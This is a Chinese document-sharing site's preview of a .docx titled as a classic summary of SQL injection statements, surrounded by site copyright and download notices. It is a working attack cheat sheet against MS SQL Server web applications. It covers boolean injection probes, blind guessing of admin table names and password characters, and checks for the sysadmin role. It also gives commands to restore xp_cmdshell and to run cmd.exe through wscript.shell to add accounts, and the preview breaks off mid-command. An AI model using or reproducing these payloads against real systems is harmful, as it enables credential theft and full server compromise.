SQL注射语句的经典总结.docx

  1. 1、本文档共9页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
SQL注射语句的经典总结

SQL注射语句的经典总结SQL注射语句的经典总结SQL注射语句1.判断有无注入点 ; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0(select count(*) from *) and 0(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个and 0(select count(*) from admin) and 1(select count(*) from admin) 4.猜解字段名称在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)0)-- and 1=(select count(*) from admin where len(用户字段名称name)0) and 1=(select count(*) from admin where len(密码字段名称password)0) 5.猜解各个字段的长度猜解长度就是把0变换直到返回正确页面为止and 1=(select count(*) from admin where len(*)0) and 1=(select count(*) from admin where len(name)6) 错误and 1=(select count(*) from admin where len(name)5) 正确长度是6 and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)11) 正确and 1=(select count(*) from admin where len(password)12) 错误长度是12 and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 看服务器打的补丁=出错了打了SP4补丁and 1=(select @@VERSION)-- 看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。and 1=(Select IS_SRVROLEMEMBER(sysadmin))-- 判断连接数据库帐号。(采用SA账号连接返回正常=证明了连接账号是SA)and sa=(Select System_user)-- and user_name()=dbo-- and 0(select user_name()-- 看xp_cmdshell是否删除and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_cmdshell)-- xp_cmdshell被删除,恢复,支持绝对路径的恢复;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll-- 反向PING自己实验;use master;declare @s int;exec sp_oacreate wscript.shell,@s out;exec sp_oamethod @s,run,NULL,cmd.exe /c ping ;-- 加帐号;DECLARE @shell INT EXEC SP_OACreate wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\syst

文档评论(0)

xcs88858 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:8130065136000003

1亿VIP精品文档

相关文档